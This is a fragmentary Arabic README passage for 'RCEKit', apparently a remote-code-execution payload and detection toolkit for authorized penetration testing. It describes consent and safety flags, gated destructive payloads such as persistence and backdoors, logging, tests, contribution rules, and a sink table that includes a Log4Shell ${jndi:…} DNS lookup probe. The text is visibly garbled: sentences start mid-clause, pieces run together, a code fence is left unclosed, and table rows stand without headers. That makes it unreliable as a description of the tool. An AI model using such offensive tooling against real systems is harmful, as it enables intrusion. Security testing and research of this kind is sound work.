--acknowledge-consent؛ أما --detection-only فحميد ولا يتطلبها.--verify-active-risk. الحمولات المدمّرة (الاستمرارية، الأبواب الخلفية) لا تُطلق أبداً بدون --verify-allow-destructive. خطة تنفيذ تطبع بالضبط ما سيُرسل قبل أن يُطلق أي شيء.safe / intrusive / stateful. تُرشَّح حمولات المدونة بواسطة --max-safety؛ وطرق الكشف وأشكال مجسّاتها تعلن نفس الدرجات وتُرشَّح بواسطة --verify-active-risk، فطريقة تجعل الهدف يتصل بالخارج أو تترك شيئاً خلفها تخضع لنفس الترتيب الذي تخضع له كل حمولة في المدونة. يسمّي الفحص المسبق المستوى الذي يحتاجه كل عنصر محتجز فعلاً. أما file وwrite فيُبوَّبان بإعدادهما الخاص بدلاً من ذلك: لا يفعل أي منهما شيئاً حتى تسمّي دليلاً للكتابة فيه وURL للقراءة منه.exploit_audit.log؛ و--watermark يضمّن رمزاً قابلاً للتتبع؛ وسجلات التنفيذ تذهب إلى rcekit.log.--template-file صريح مفقود، يجعل RCEKit يرفض العمل ويخرج بقيمة غير صفرية بدلاً من أن يولّد لا شيء بصمت (--doctor يفحص ذلك). فقط ملف مدونة افتراضي غائب يرجع إلى النسخة المدمجة، ويقول ذلك عندما يفعل.هذه المجموعة مخصصة لاختبار الاختراق المصرّح به، والبحث الأمني، والتعليم، والتدريب الدفاعي فقط. لا تستخدمها أبداً ضد أنظمة بدون إذن صريح — الاختبار غير المصرّح به غير قانوني.
python -m unittest discover -s tests # dependency-free test suite
المساهمات مرحّب بها — أحواض/فئات جديدة، وترميزات، وبيئات، وطرق كشف، وإصلاحات أخطاء، ووثائق. توجد قواعد الحمولات في قوالب JSON قابلة للتحرير (`templates/payloads.json`)، لذا تمتد معظم التغطية دون الحاجة إلى لمس مصدر Python. بعد تغيير المجموعة، حدّث النسخة المدمجة التي تُشحن داخل `rcekit.py`:```bash
python tools/embed_corpus.py # --check verifies it is current
تفشل مجموعة الاختبارات إذا انحرف الاثنان عن بعضهما. راجع CONTRIBUTING.md.
MIT — راجع LICENSE.
| مصارف البحث عن التعبيرات — Log4Shell/JNDI | lookup | يحل الـ sink عنوان URI ${jndi:…} بدلًا من تشغيل أمر، لذا لا تصل فحوص الصدفة الخاصة بـ oob إلى شيء. يثبته على الاستدعاء وحده ويُبلّغ عنه كـ lookup-sink، وليس أبدًا confirmed. يُرسَل فقط jndi:dns:// — بحث عن اسم ولا شيء آخر — لذا ما يُثبَت هو البحث، وليس سلسلة gadget. |
| نقطة الحقن SQL والمصرف هو مضيف قاعدة البيانات | جسور لغة الاستعلام |
| نقطة النهاية تستقبل كائناً متسلسلاً | مصارف إلغاء التسلسل |
| المصرف خلف تسجيل دخول أو رفع ملف | سلاسل متعددة الخطوات |
حصلت على needs-review / inconclusive / error | قراءة النتائج |
| يقول إن المدونة غير قابلة للاستخدام | استكشاف الأخطاء وإصلاحها |